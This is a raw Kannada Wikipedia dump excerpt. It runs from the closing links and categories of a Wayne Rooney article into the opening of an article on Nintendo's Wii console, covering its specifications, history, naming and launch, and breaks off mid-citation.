ಕೊಂಡಿಗಳು == {{Commons category|Wayne Rooney}} * [http://www.waynerooney.com ಅಧಿಕೃತ ಜಾಲತಾಣ] * [http://www.manutd.com/default.sps?pagegid={FE60904B-C2A8-4E60-9B05-700DBBC29BBC}&amp;section=playerProfile&amp;teamid=458&amp;bioid=91962 ವೇಯ್ನ್ ರೂನೀ ವ್ಯಕ್ತಿಚಿತ್ರ] [http://www.manutd.com/ ManUtd.com] ದಲ್ಲಿ. * {{soccerbase|id=30921|name=Wayne Rooney}} * {{FIFA player|196842|Wayne Rooney}} {{Navboxes colour |title=England squads |bg=white |fg=navy |list1= {{England Squad 2004 European Championship}} {{England Squad 2006 World Cup}} }} {{Navboxes |title=Awards |list1= {{PFA Young Player of the Year}} {{PFA Fans' Player of the Year}} {{PFA Players' Player of the Year}} {{Bravo award winners}} {{2005–06 Premier League Team of the Year}} {{2009–10 Premier League Team of the Year}} {{start box}} {{s-ach}} {{succession box|title=[[FIFPro|FIFPro&nbsp;Young&nbsp;Player&nbsp;of&nbsp;the&nbsp;Year]]|before=''[[None]]''|after=[[Lionel Messi]]|years=2005}} {{succession box|title=England Player&nbsp;of&nbsp;the&nbsp;Year|before=''[[Steven Gerrard]]''|after=TBA|years=2008}} {{end box}} }} {{Persondata |NAME=Rooney, Wayne |ALTERNATIVE NAMES= |SHORT DESCRIPTION=Footballer |DATE OF BIRTH=24 October 1985 |PLACE OF BIRTH=[[Liverpool]], England |DATE OF DEATH= |PLACE OF DEATH= }} {{DEFAULTSORT:Rooney, Wayne}} [[ವರ್ಗ:೧೯೬೬ ಜನನ]] [[ವರ್ಗ:ಈಗಿರುವ ಜನರು]] [[ವರ್ಗ:ಇಂಗ್ಲಿಷ್ ಫುಟ್ಬಾಲ್‌ ಆಟಗಾರರು]] [[ವರ್ಗ:ಇಂಗ್ಲೆಂಡ್‌ನ ಅಂತಾರಾಷ್ಟ್ರೀಯ ಫುಟ್ಬಾಲ್ ಆಟಗಾರರು]] [[ವರ್ಗ:ಪ್ರೀಮಿಯರ್ ಲೀಗ್ ಆಟಗಾರರು]] [[ವರ್ಗ:ಎವೆರ್ಟನ್ F.C. ಆಟಗಾರರು]] [[ವರ್ಗ:ಮ್ಯಾಂಚೆಸ್ಟರ್ ಯುನೈಟೆಡ್ F.C. ಆಟಗಾರರು]] [[ವರ್ಗ:ಅಸೋಸಿಯೇಶನ್ ಪುಟ್ಬಾಲ್ ಫಾರ್ವರ್ಡ್ಸ್]] [[ವರ್ಗ:UEFA ಯುರೋ 2004 ಆಟಗಾರರು]] [[ವರ್ಗ:2006 FIFA ವಿಶ್ವ ಕಪ್‌ ಆಟಗಾರರು]] [[ವರ್ಗ:ಲಿವರ್‌ಪೂಲ್‌ನ ಕ್ರೀಡಾ ಜನರು]] [[ವರ್ಗ:ಐರಿಶ್ ತಲೆಮಾರಿನ ಬ್ರಿಟಿಷ್ ಜನರು]] [[ವರ್ಗ:ಐರಿಷ್‌ ತಲೆಮಾರಿಗೆ ಸೇರಿದ ಇಂಗ್ಲಿಷ್ ಜನರು]] [[ವರ್ಗ:ಇಂಗ್ಲಿಷ್ ರೋಮಲ್ ಕ್ಯಾಥೊಲಿಕ್ಸ್]] 6ygpbl28uewgrq1kvcza9ue6vf3w6ff ವೈ 0 23509 1116481 1073837 2022-08-23T13:34:50Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox VG system |title=Wii<!-- -It is just "Wii", not "Nintendo Wii"- --> |logo=[[Image:Wii.svg|100px|center|Wii logo]] |image=[[Image:Wii Wiimotea.png|260px|Wii with Wii Remote]] |manufacturer=[[Nintendo]] |type=[[Video game console]] |generation=[[History of video game consoles (seventh generation)|Seventh generation]] |lifespan=November 19, 2006 <small>([[Wii launch#Release dates and pricing|details]])</small> |CPU=<!-- 729&nbsp;MHz (speed unconfirmed) this is still speculation at the moment --> [[IBM]] [[PowerPC]]-based<ref name="Wii: The Total Story" /> [[Broadway (microprocessor)|"Broadway"]] |GPU=<!-- http://www.popsci.com/popsci/whatsnew/2526081bfbcfe010vgnvcm1000004eecbccdrcrd/14.html // --> [[ATI Technologies|ATI]] [[Hollywood (graphics chip)|"Hollywood"]] |media=12 cm [[Nintendo optical disc|Wii Optical Disc]]<br />8 cm [[Nintendo optical disc|Nintendo GameCube Game Disc]] |storage=512&nbsp;[[Megabyte|MB]] Internal [[flash memory]]<br />[[Secure Digital card|SD card]], [[Secure Digital card#SDHC|SDHC card]]<br />[[Nintendo GameCube#Memory and storage|Nintendo GameCube Memory Card]] |controllers=[[Wii Remote]], [[Wii Balance Board]], [[Nintendo GameCube controller]], [[Nintendo DS]]<ref name="connectivity returns"/><!-- SEE DISCUSSION ON CLASSIC CONTROLLER --> |connectivity=[[Wi-Fi]]<br />[[Bluetooth]]<br />2 × [[Universal Serial Bus|USB 2.0]]<ref name=1upspec>{{cite web|url=http://www.1up.com/do/feature?cId=3154939|title=Wii Get It Now: Technical Specs from 1UP.com|publisher=1up.com|accessdate=2008-05-02|last=McDonough|first=Amy|archive-date=2016-05-22|archive-url=http://arquivo.pt/wayback/20160522225319/http://www.1up.com/do/feature?cId=3154939|url-status=dead}}</ref><br />[[Local area network|LAN]] Adapter (via USB) |online service=[[Nintendo Wi-Fi Connection]], [[WiiConnect24]], [[Wii Shop Channel]]<br /><!-- As quoted by Iwata, "Using a design called WiiConnect24, the console automatically enters standby mode without the fan running, but still operating key functions." This does not at all say that the online service itself is WiiConnect24. --> |top game=''[[Wii Sports]]'' <small>([[Pack-in game|pack-in]], except in Japan and South Korea)</small> 60.69 million <small>(as of December 31, 2009)</small><ref name=Q409>{{cite web|url=http://www.nintendo.co.jp/ir/pdf/2010/100129e.pdf#page=6|title=Financial Results Briefing for the Six-Month Period ended December 2009|publisher=[[Nintendo]]|date=2009-10-31|format=PDF|accessdate= 2010-01-29|page=11}}</ref><br /> ''[[Wii Play]]'', 26.71 million <small>(as of December 31, 2009)</small><ref name=Q409/> |compatibility=[[Nintendo GameCube]]<!-- HARDWARE compatibility only. Do not list Virtual Console games as "compatible". Actual compatibility is with physical media, not emulated software. --> |predecessor=Nintendo GameCube<!-- STOP LINKING THIS. It is already linked above. See [[WP:MOS]] for more info. --> |successor=[[Wii U]] |unitssold= |unitsshipped =<!-- SEE DISCUSSION PAGE -->Worldwide: 70.93 million <small>(as of March 31, 2010)</small><ref name="Nintendo fiscal year report">{{cite web|title=Consolidated Financial Highlights|url=http://www.nintendo.co.jp/ir/pdf/2010/100506e.pdf#page=23|publisher=Nintendo|format=PDF|page=23|date=2010-03-31|accessdate=2010-05-07}}</ref></small><!-- SEE DISCUSSION PAGE ON SALES NUMBER --> <small>([[Wii#System sales|details]])</small> }} {{nihongo|'''Wii'''|ウィー||{{pron-en|ˈwiː}}, like the pronoun ''[[we]]''}}ವೈ [[ನಿಂಟೆಂಡೊ]] ಮೂಲಕ ನವೆಂಬರ್ 19, 2006ರಲ್ಲಿ ಬಿಡುಗಡೆಯಾದ ಮನೆಮಂದಿಯೆಲ್ಲ ಆಡಬಹುದಾದ [[ವಿಡಿಯೋ ಗೆಮ್]] ಆಗಿದೆ. [[ಏಳನೆ ಪೀಳಿಗೆ]]ಯ ಕನ್ಸೊಲ್‌ ಆಗಿ, ವೈ ಪ್ರಾಥಮಿಕವಾಗಿ [[ಮೈಕ್ರೊಸಾಫ್ಟ್]]ನ [[Xbox 360]] ಮತ್ತು [[ಸೋನಿ]]ಯ [[ಪ್ಲೇಸ್ಟೇಷನ್ 3]]ಯೊಂದಿಗೆ ಸ್ಪರ್ಧಿಸುತ್ತದೆ. ನಿಂಟೆಂಡೊ ಹೀಗೆ ಹೇಳಿಕೆ ನೀಡಿದ್ದಾರೆ ಅದರ ಕನ್ಸೊಲ್ ಇತರೆ ಎರಡಕ್ಕಿಂತ ಒಂದು ವಿಸ್ತಾರವಾದ [[ಜನಸಂಖ್ಯೆ]]ಯನ್ನು ಗುರಿಯಾಗಿಸಿದೆ.<ref name="USA Today" /> {{CURRENTMONTHNAME}} {{CURRENTYEAR}}ರಂತೆ, ಪ್ರಪಂಚದೆಲ್ಲೇಡೆಯ ಮಾರಾಟಗಳಲ್ಲಿ ವೈ ಪ್ಲೇಸ್ಟೇಷನ್ ಮತ್ತು Xbox 360 ಮೀರಿ ಪೀಳಿಗೆಯ ಮುಂದಾಳಾಗಿದೆ,<ref name="earnings release Q3 2009">{{cite web |title=Consolidated Financial Highlights |url=http://www.nintendo.co.jp/ir/pdf/2009/091029e.pdf#page=9 |publisher=Nintendo |format=PDF |page=9 |date=2009-10-29 |accessdate=2009-10-29}}</ref> ಮತ್ತು 2009ರ ಡಿಸೆಂಬರ್‌ನಲ್ಲಿ ಒಂದೇ ತಿಂಗಗಳಲ್ಲಿ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ]]ದಲ್ಲಿ ಉತ್ತಮ ಮಾರಾಟವಾದ ಕನ್ಸೊಲ್‌‌ಗಾಗಿ ದಾಖಲೆಯನ್ನು ಮುರಿಯಿತು.<ref name="NPD: Wii, DS Sales Topped Seven Million In December">{{cite web|title= Wii and DS thrash competition in US News |url=http://www.eurogamer.net/articles/wii-and-ds-thrash-competition-in-us|publisher=[[Eurogamer]]|date=2010-01-14|accessdate=2010-01-14}}</ref> ಕನ್ಸೊಲ್‌ನ ವಿಶೇಷ ಲಕ್ಷಣವೆಂದರೆ ಅದರ [[ವೈರ್‌ಲೆಸ್‌]] [[ನಿಯಂತ್ರಕ]], [[ವೈ ರಿಮೊಟ್<!-- "ವೈಮೊಟ್" ಮೇಲೆ ಚರ್ಚೆ ನೋಡಿ-->]], ಅದನ್ನು ಒಂದು ಕೈಯಲ್ಲಿ ಹಿಡಿಯುವ [[ಸೂಚಿಸುವ ಸಾಧನ]]ದ ಹಾಗೆ ಉಪಯೋಗಿಸಲು ಸಾಧ್ಯ ಮತ್ತು [[ಮೂರು ಆಯಾಮ]]ಗಳಲ್ಲಿಯೂ [[ಚಲನೆ ಪತ್ತೆಹಚ್ಚುತ್ತದೆ]]. ಕನ್ಸೊಲ್‌ನ ಮತ್ತೊಂದು ವಿಶೇಷ ಲಕ್ಷಣ [[ವೈಕನೆಕ್ಟ್24]], ಇದು [[ಸ್ಟಾಂಡ್‌ಬೈ ರೀತಿ]]ಯಲ್ಲಿದ್ದಾಗ ಅಂತರ ಜಾಲದಿಂದ ಸಂದೇಶಗಳನ್ನು ಪಡೆಯಲು ಮತ್ತು ಅಪ್‌‍ಡೇಟ್‌‍ಗೊಳ್ಳಲು ಕನ್ಸೊಲ್‌ಗೆ ಸಾಧ್ಯವಾಗುತ್ತದೆ.<ref name="Iwata Speech 06">[http://www.nintendo.co.jp/n10/e3_2006/speech/english.html ನಿಂಟೆಂಡೊ ಕಾರ್ಪೋರೇಷನ್ ] {{Webarchive|url=https://web.archive.org/web/20060604061842/http://www.nintendo.co.jp/n10/e3_2006/speech/english.html |date=2006-06-04 }} - ನಿಂಟೆಂಡೊ ಅಧ್ಯಕ್ಷ, ಸತಾರು ಇವಾಟಾ, ಚಿಕ್ಕ ಮಾಧ್ಯಮ ಹೇಳಿಕೆ E3 2006</ref> ವೈ, ನಿಂಟೆಂಡೊ ಕಂಪೆನಿಯ ಐದನೇ ಕನ್ಸೊಲ್ ಆಗಿದೆ. [[ನಿಂಟೆಂಡೋ ಗೆಮ್ ಕ್ಯೂಬ್]]‌ಗೆ ನೇರ ಉತ್ತರಾಧಿಕಾರಿಯಾಗಿದ್ದು ಎಲ್ಲಾ ಅಧಿಕೃತ ಗೆಮ್‌ಕ್ಯೂಬ್‌ನ ಆಟಗಳನ್ನು ಆಡಲು ಸಾಧ್ಯವಾಗುತ್ತದೆ. ನಿಂಟೆಂಡೊ ಕಂಪೆನಿಯವರು 2004ರ [[E3]] [[ಪತ್ರಿಕಾ ಗೋಷ್ಠಿ]]ಯಲ್ಲಿ ಮೊದಲು ಕನ್ಸೊಲ್‌ನ ಬಗ್ಗೆ ಮಾತನಾಡಿದರು. ನಂತರ [[2005 E3]]ರಲ್ಲಿ ವ್ಯವಸ್ಥೆ/ವಿಧಾನವನ್ನು ಅನಾವರಣ ಮಾಡಿದನು. ನಿಂಟೆಂಡೊನ CEO [[ಸಟೊರು ಇವಟಾ]] ಸೆಪ್ಟೆಂಬರ್ 2005ರ [[ಟೊಕಿಯೋ ಗೇಮ್ ಶೋ]]ನಲ್ಲಿ ನಿಯಂತ್ರಕದ ಮೊದಲ ಮಾದರಿಯನ್ನು ಬಹಿರಂಗಪಡಿಸಿದರು.<ref name="TGSspeech">{{cite web|url=http://www.gamespot.com/news/6133389.html|title=TGS 2005: Iwata speaks|accessdate= 2006-09-24|last=Sinclair|first=Brendan| coauthors=Torres, Ricardo|date= 2005-09-16|publisher=GameSpot}}</ref> [[E3 2006]]ರಲ್ಲಿ, ಕನ್ಸೊಲ್ ಅನೇಕ ಪ್ರಶಸ್ತಿಗಳ ಮೊದಲ ಸ್ಥಾನ ಗಳಿಸಿತು.<ref name="E3 Awards" /> ಡಿಸೆಂಬರ್ 8, 2006ರ ವೇಳೆಗೆ, ಅದು ನಾಲ್ಕು ಮುಖ್ಯ ಮಾರುಕಟ್ಟೆಗಳಲ್ಲಿ [[ಅದರ ಪ್ರಾರಂಭ]]ವನ್ನು ಪೂರ್ಣಗೊಳಿಸಿತತು. ==ಇತಿಹಾಸ== {{See also|History of video game consoles (seventh generation)}} 2001ರಲ್ಲಿ ಕನ್ಸೊಲ್‌ನನ್ನು ಕಲ್ಪಿಸಲಾಯಿತು, [[ನಿಂಟೆಂಡೊ ಗೆಮ್‌ಕ್ಯೂಬ್]] ಮೊದಲ ಬಿಡುಗಡೆಯನ್ನು ಅವಲೋಕಿಸಿತು. ನಿಂಟೆಂಡೊ‌ನ ಆಟದ ವಿನ್ಯಾಸಗಾರ [[ಷಿಗೆರು ಮಿಯಮೊಟೊ‌]] ಜೊತೆಯ ಒಂದು ಸಂದರ್ಶನದ ಪ್ರಕಾರ, ಆಟಗಾರರ ನಡುವೆ ವಿಶೇಷವಾದ ಸಂವಹನಕ್ಕೆ ಸಹಾಯವಾಗುವಂತೆ ಈ ಆಟದ ಪರಿಕಲ್ಪನೆಯನ್ನು ಬೆಳವಣಿಗೆ ಮಾಡಲಾಗಿದೆ. "ಹೊಂದಾಣಿಕೆಯು ಶಕ್ತಿಯಾಗಿದೆ ಆದರೆ ಒಂದು ಕನ್ಸೊಲ್‌ಗೆ ಅದು ಸರ್ವವೂ ಅಲ್ಲ. ಒಂದೇ ಸಮಯಕ್ಕೆ ಹೆಚ್ಚು ಪ್ರಭಾವಯುತವಾದ ಕನ್ಸೊಲ್‌ಗಳು ಜೊತೆಯಲ್ಲಿರುವುದು ಸಾಧ್ಯವಿಲ್ಲ. ಇದು ಶಕ್ತಿಶಾಲಿಯಾದ [[ಡೈನೊಸರ್‌]]ಗಳನ್ನು ಏಕ ಕಾಲಕ್ಕೆ ಹೊಂದುವ ರೀತಿಯದ್ದಾಗಿದೆ. ಈ ರೀತಿಯ ಸಂದರ್ಭದಲ್ಲಿ ಅವುಗಳು ತಮ್ಮ ತಮ್ಮಲ್ಲೇ ಜಗಳವಾಡಬಹುದು ಮತ್ತು ಅವುಗಳ ಸ್ವಂತತಿಯೇ ನಾಶವಾಗಬಹುದಾಗಿದೆ."<ref name="Miyamoto Speaks">{{cite web|url=http://www.businessweek.com/technology/content/nov2006/tc20061116_750580.htm|title=The Big Ideas Behind Nintendo's Wii|accessdate=2007-02-02|publisher=BusinessWeek| first=Kenji|last=Hall}}</ref> ಎರಡು ವರ್ಷಗಳ ನಂತರ, ಪರಿಕಲ್ಪನೆಯನ್ನು ಮುಂದಕ್ಕೆ ಅಭಿವೃದ್ಧಿಪಡಿಸಲು [[ಇಂಜಿನಿಯರ್‌ಗಳು]] ಮತ್ತು [[ವಿನ್ಯಾಸಗಾರ]]ರನ್ನು ಒಟ್ಟುಗೂಡಿಸಲಾಯಿತು. 2005ರ ವೇಳೆಗೆ, ನಿಯಂತ್ರಕ ಅಂತರಸಂಪರ್ಕ ಸಾಧನವು ರೂಪ ತಳೆಯಿತು. ಆದರೆ ವರ್ಷದ [[ಎಲೆಕ್ಟ್ರಾನಿಕ್ ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ ಎಕ್ಸ್‌ಪೋ]]ದಲ್ಲಿನ (E3) ಒಂದು ಸಾರ್ವರ್ಜನಿಕ ಪ್ರದರ್ಶನವನ್ನು ಹಿಂತೆಗೆದು ಕೊಳ್ಳಲಾಯಿತು. ಈ ಕುರಿತು ಮಿಯಾಮೊಟೊ "ನಿಯಂತ್ರಕದಲ್ಲಿಯ ಕೆಲವು ತೊಂದರೆಗಳನ್ನು ಸರಿಪಡಿಸುವ ಅಗತ್ಯ ಇತ್ತು. ಆದ್ದರಿಂದ ನಾವು ನಿಯಂತ್ರಕವನ್ನು ಬಹಿರಂಗಗೊಳಿಸದಿರಲು ನಿರ್ಧಾರ ಮಾಡಿದೆವು ಮತ್ತು ಬದಲಿಗೆ ನಾವು ಕನ್ಸೊಲ್‌ ಮಾತ್ರ ಪ್ರದರ್ಶಿಸಿದೆವು."<ref name="Miyamoto Speaks" /> ನಿಂಟೆಂಡೊ ಅಧ್ಯಕ್ಷ [[ಸಟೊರು ಇವಾಟ]] ನಂತರ ಅನಾವರಣ ಮಾಡಿದರು ಮತ್ತು [[ವೈ ರಿಮೊಟ್]]‌ ಅನ್ನು ಸೆಪ್ಟೆಂಬರ್‌ನಲ್ಲಿ [[ಟೋಕಿಯೊ ಗೇಮ್‌‍ ಶೋ]]‌ನಲ್ಲಿ ಪ್ರತ್ಯಕ್ಷ ಮಾಡಿ ತೋರಿಸಲಾಯಿತು.<ref name="TGSspeech" /> [[ನಿಂಟೆಂಡೊ DS]] ವೈ ವಿನ್ಯಾಸಕ್ಕೆ ಪ್ರಭಾವ ಬೀರಿದೆ ಎಂದು ಹೇಳಲಾಗುತ್ತದೆ. ವಿನ್ಯಾಸಗಾರ ಕೆನ್ಇಚಿರೊ ಅಶಿದಾ ಅವರು " ನಾವು ವೈ ಮೇಲೆ ಕೆಲಸ ಮಾಡುವ ಸಮಯದಲ್ಲಿ ನಮ್ಮ ಮನಸ್ಸಿನಲ್ಲಿ DS ಕುರಿತಾದ ಕಲ್ಪನೆ ಇತ್ತು. ನಾವು DSನ ಟಚ್-ಪ್ಯಾನಲ್‌ ಅಂತರ ಸಂಪರ್ಕ ಸಾಧನವನ್ನು ನಕಲಿಸಲು ಯೋಚಿಸಿದ್ದೆವು ಮತ್ತು ಒಂದು ಪ್ರಯೋಗ ಮಾದರಿಯನ್ನು ಸಹ ತಯಾರಿಸಿದ್ದೆವು." ಎರಡು ಆಟ ಆಡುವ ವಿಧಾನಗಳು ಒಂದೇ ಬಗೆಯದು ಆಗಿದ್ದರೆ ಸರಿಯಿರಲಾರದು ಎಂಬ ಅಭಿಪ್ರಾಯದೊಂದಿಗೆ, ಅಂತಿಮವಾಗಿ ಈ ಯೋಜನೆಯನ್ನು ತಿರಸ್ಕರಿಸಲಾಯಿತು. ಮಿಯಮೊಟೊ ಸಹ ಅದನ್ನು ವ್ಯಕ್ತಪಡಿಸಿದರು. " DS ವಿಫಲವಾಗಿದ್ದರೆ, ನಾವು ವೈಯನ್ನು ಡ್ರಾಯಿಂಗ್ ಬೋರ್ಡಿಗೆ ಪುನಃ ತೆಗೆದು ಕೊಂಡು ಹೋಗಬೇಕಾಗಬಹುದಾಗಿತ್ತು."<ref name="Miyamoto Speaks" /> ===ಹೆಸರು=== [[E3]]ಗಿಂತ ಸ್ವಲ್ಪ ಮೊದಲು ಏಪ್ರಿಲ್ 27, 2006ರ ವರೆಗೆ ಕನ್ಸೊಲ್ "'''ರೆವುಲ್ಯೂಶನ್‌''' " ಎಂಬ [[ಕೋಡ್‌ ಹೆಸರಿ]]ನ ಮೂಲಕ ಪರಿಚಿತವಾಗಿತ್ತು.<ref name="revolution renamed to wii">{{cite web|url=http://www.consolewatcher.com/2006/05/nintedo-revolution-renamed-to-nintendo-wii/|publisher=Console Watcher|work=Console Watcher|title=Nintendo Revolution Renamed To Nintendo Wii|accessdate= 2006-11-03}}</ref> ನಿಂಟೆಂಡೊ ಶೈಲಿಯ ಮಾರ್ಗದರ್ಶಕ ಕನ್ಸೊಲ್‌ಗೆ "ಸರಳವಾಗಿ ವೈ, ನಿಂಟೆಂಡೊ ವೈ ಅಲ್ಲ" ಎಂದು ಉಲ್ಲೇಖಿಸುತ್ತದೆ, ನಿಂಟೆಂಡೊ ಜಪಾನ್‌ನ ಹೊರಗೆ ಅದರ ಟ್ರೇಡ್‌ಮಾರ್ಕ್‌ನಲ್ಲಿ ಕಂಪೆನಿ ಹೆಸರು ತೋರಿಸದೆ ಮಾರಾಟ ಮಾಡಲಾದ ಮೊದಲ ಕನ್ಸೊಲ್ ಆಗಿತ್ತು. ಹಾಗೆಯೇ "ವೈಸ್‌‍" ಎಂದು ಕನ್ಸೊಲ್‌ನ [[ಬಹುವಚನ]]ಸೂಚಕವನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಬಳಸಲಾಗುತ್ತದೆ. "ವೈ ವ್ಯವಸ್ಥೆಗಳು" ಅಥವಾ "ವೈ ಕನ್ಸೊಲ್‌ಗಳು" ಅಧಿಕೃತ ಬಹುವಚನದ ರೂಪ ಎಂದು ನಿಂಟೆಂಡೊ ಹೇಳಿಕೆ ನೀಡಿದೆ.<ref name="The plural of Wii">{{cite news|publisher=Nintendo|url= http://gonintendo.com/?p=7288|archiveurl= https://web.archive.org/web/20071223020344/http://gonintendo.com/?p=7288|archivedate=2007-12-23|title=The Plural of Wii|accessdate=2006-11-27}}</ref> 'Wii' ಶಬ್ಧದಲ್ಲಿಯ ಎರಡು ಇಂಗ್ಲಿಷ್‌ನ ಸಣ್ಣ ವರ್ಣಮಾಲೆಯ 'i' ಇಬ್ಬರು ವ್ಯಕ್ತಿಗಳು ನಿಂತಿರುವುದನ್ನು ಸೂಚಿಸುತ್ತದೆ. ಆಟಗಾರರು ಒಟ್ಟಿಗೆ ಆಟ ಆಡಬಹುದಾದುದನ್ನು ಇದು ಪ್ರತಿನಿಧಿಸುತ್ತದೆ. ಹಾಗೆಯೇ ವೈ ರಿಮೊಟ್ ಮತ್ತು ನನ್‌ಚುಕ್‌ ಅನ್ನು ಇದು ಪ್ರತಿನಿಧಿಸುತ್ತದೆ.<ref name="introducing_wii">{{cite web|url =http://www.gamasutra.com/php-bin/news_index.php?story=9075|publisher=CMP|work=Gamasutra| title=Breaking: Nintendo Announces New Revolution Name - 'Wii'|accessdate=2006-09-16}}</ref> ಘೋಷಣೆಯ ತರುವಾಯ ಕಂಪೆನಿಯು ಈ ಹೆಸರಿನ ಆಯ್ಕೆಗಾಗಿ ಹಲವು ಕಾರಣಗಳನ್ನು ನೀಡಿದೆ; ಆದಾಗ್ಯೂ, ಹೆಚ್ಚು ಪರಿಚಿತವಾಗಿರುವುದು:{{cquote|Wii sounds like 'we', which emphasizes that the console is for everyone. Wii can easily be remembered by people around the world, no matter what language they speak. No confusion. No need to abbreviate. Just Wii.<ref name="introducing_wii"/>}} ಹೆಸರಿಗೆ ನಿಂಟೆಂಡೊನ ಸಮರ್ಥನೆಯ ಹೊರತಾಗಿಯೂ, ಕೆಲವು [[ವಿಡಿಯೋ ಗೆಮ್ ತಯಾರಕ]]ರು ಮತ್ತು ಹಲವು ವರದಿಗಾರರು ಋಣಾತ್ಮಕವಾಗಿ ಪ್ರತಿಕ್ರಿಯಿಸಿದರು. ಅವರು "ವೈ"<ref name="gamasutra_dev_interviews">{{cite news|title=Wii Reactions: Developers Comment|first=Brandon|last=Sheffield|url=http://gamasutra.com/features/20060501/sheffield_01.shtml|publisher=[[Gamasutra]]|date= 2006-05-01|accessdate=2008-06-15}}</ref> ಬದಲು "ರೆವಲ್ಯೂಶನ್‌"ನನ್ನು ಇಷ್ಟಪಟ್ಟರು ಮತ್ತು "ಈ ಹೆಸರು ಕನ್ಸೊಲ್‌ಗೆ ’ಮೃದು ಭಾವನೆಯ’ {{sic}} ಒಂದು ಮುಂದುವರಿದ ಭಾವನೆಯನ್ನು ರವಾನಿಸುತ್ತದೆ" ಎಂಬ ಭಯವನ್ನು [[ಫೊರ್ಬ್ಸ್]] ವ್ಯಕ್ತಪಡಿಸಿತು.<ref name="forbes_criticism">{{cite news|title=Iwata's Nintendo Lampooned For 'Wii'|first=Parmy|last=Olson|url=http://www.forbes.com/2006/04/28/nintendo-wii-console-cx_po_0428autofacescan08.html|publisher=[[Forbes]]|date=2006-04-28|accessdate=2008-06-15|archiveurl=https://archive.today/20120529135648/http://www.forbes.com/2006/04/28/nintendo-wii-console-cx_po_0428autofacescan08.html|archivedate=2012-05-29|url-status=live}}</ref> "ಹೆಸರನ್ನು ಅವಲಂಬಿಸಿ, ಮಕ್ಕಳಾಟಿಕೆಯ ಜೋಕ್‌ಗಳ ಒಂದು ಉದ್ದ ಪಟ್ಟಿ," ಅಂತರ್ಜಾಲದಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡಿತು ಎಂದು ಹೆಸರನ್ನು ಘೋಷಿಸಿದ ಮರು ದಿನ [[BBC]] ವರದಿಮಾಡಿತು.<ref name="BBC article">{{cite news|url=http://news.bbc.co.uk/1/hi/technology/4953650.stm|publisher=BBC|accessdate=2007-03-14|title=Nintendo name swap sparks satire | date=2006-04-28}}</ref> ನಿಂಟೆಂಡೊದ ಅಮೆರಿಕದ ಅಧ್ಯಕ್ಷ [[ರೆಗ್ಗ್ ಫಿಲ್ಸ್-ಐಮ್]] ಆರಂಭದ ಪ್ರತಿಕ್ರಿಯೆಯನ್ನು ನಿಜವೆಂದು - ಒಪ್ಪಿಕೊಂಡರು ಮತ್ತು ನಂತರ ಬದಲಾವಣೆಯನ್ನು ವಿವರಿಸಿದರು: {{cquote|Revolution as a name is not ideal; it's long, and in some cultures, it's hard to pronounce. So we wanted something that was short, to the point, easy to pronounce, and distinctive. That's how 'Wii,' as a console name, was created.<ref>Michael Donahoe, Shane Bettenhausen {{cite news|title=War of the Words|page=25|publisher=Electronic Gaming Monthly|date=July 2006|url=<!-- add web archive if available -->|accessdate=2006-11-18}}</ref>}} ನಿಂಟೆಂಡೊದ ಅಮೆರಿಕದ ಕಾರ್ಪೊರೇಟ್‌ ವ್ಯವಹಾರಗಳ ಅಂದಿನ ಉಪಾಧ್ಯಕ್ಷ ಪೆರ್ರಿನ್ ಕಪ್ಲಾನ್ "ರೆವಲ್ಯೂಶನ್‌" ಬದಲಾಗಿ "ವೈ"ನ ಅದರ ಆಯ್ಕೆಯನ್ನು ಸಮರ್ಥಿಸಿದರು ಮತ್ತು "ಅದರ ಜೊತೆ ಬದುಕಿ, ಅದರ ಜೊತೆ ಮಲಗಿ, ಅದರೊಂದಿಗೆ ತಿನ್ನಿ, ಅದರ ಜೊತೆಜೊತೆಯಲ್ಲಿ ಚಲಿಸಿ ಮತ್ತು ಆಶಾದಾಯಕವಾಗಿ ಅವುಗಳು ಅದೇ ಜಾಗವನ್ನು ತಲುಪುತ್ತದೆ", ಎಂದು ಹೇಳಿಕೆ ನೀಡುವ ಮೂಲಕ ಹೆಸರಿನ ವಿಮರ್ಶಕರಿಗೆ ಉತ್ತರಿಸಿದರು.<ref name="IGN Kaplan Interview">{{cite news|url=http://wii.ign.com/articles/703/703593p1.html|accessdate=2007-03-14|publisher=IGN|title=Nintendo Talks to IGN about Wii|archive-date=2007-03-21|archive-url=https://web.archive.org/web/20070321164248/http://wii.ign.com/articles/703/703593p1.html|url-status=dead}}</ref> ===ಆರಂಭ=== {{Main|Wii launch}} ಸೆಪ್ಟೆಂಬರ್ 14, 2006ರಂದು, ನಿಂಟೆಂಡೊ [[ಜಪಾನ್]], [[ಉತ್ತರ]] ಮತ್ತು [[ದಕ್ಷಿಣ ಅಮೆರಿಕ]], [[ಆಸ್ಟ್ರೇಲಸಿಯಾ]] (ಒಶಿನಿಯಾ), [[ಏಷ್ಯಾ]] ಮತ್ತು [[ಯುರೋಪ್‌]]ಗಳಿಗಾಗಿ , ದಿನಾಂಕಗಳು, ಬೆಲೆಗಳು, ಮತ್ತು ಯೋಜಿತ ಘಟಕ ವಿತರಣ ಸಂಖ್ಯೆಗಳನ್ನು ಒಳಗೊಂಡ ಬಿಡುಗಡೆ ಮಾಹಿತಿಯನ್ನು ಘೋಷಿಸಿತು. 2006ರ ಹಡಗು ಸರಕುಗಳ ಹೆಚ್ಚು ಸಂಖ್ಯೆಯನ್ನು ಅಮೆರಿಕಗಳಿಗೆ ವಿತರಿಸಲಾಗುತ್ತದೆ ಮತ್ತು 33 ಶೀರ್ಷಿಕೆಗಳು 2006ರ ಆರಂಭ ವಿಂಡೊದಲ್ಲಿ ಲಭ್ಯವಾಗುತ್ತದೆ ಎಂದು ಘೋಷಿಸಿತು.<ref>[14] ^ [12]\ ಇದನ್ನೂ ನೋಡಿ[13]</ref> ವೈಯನ್ನು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ನವೆಂಬರ್ 19, 2006ರಂದು $249.99ಗೆ [[ಮಾರುಕಟ್ಟೆ|ಮಾರುಕಟ್ಟೆಗೆ]] ಬಿಡುಗಡೆ ಮಾಡಲಾಯಿತು.<ref>{{cite web|first1=Kathleen|last1=Sanders|first2=Matt|last2=Casamassina|url=http://wii.ign.com/articles/732/732669p1.html|title=US Wii Price, Launch Date 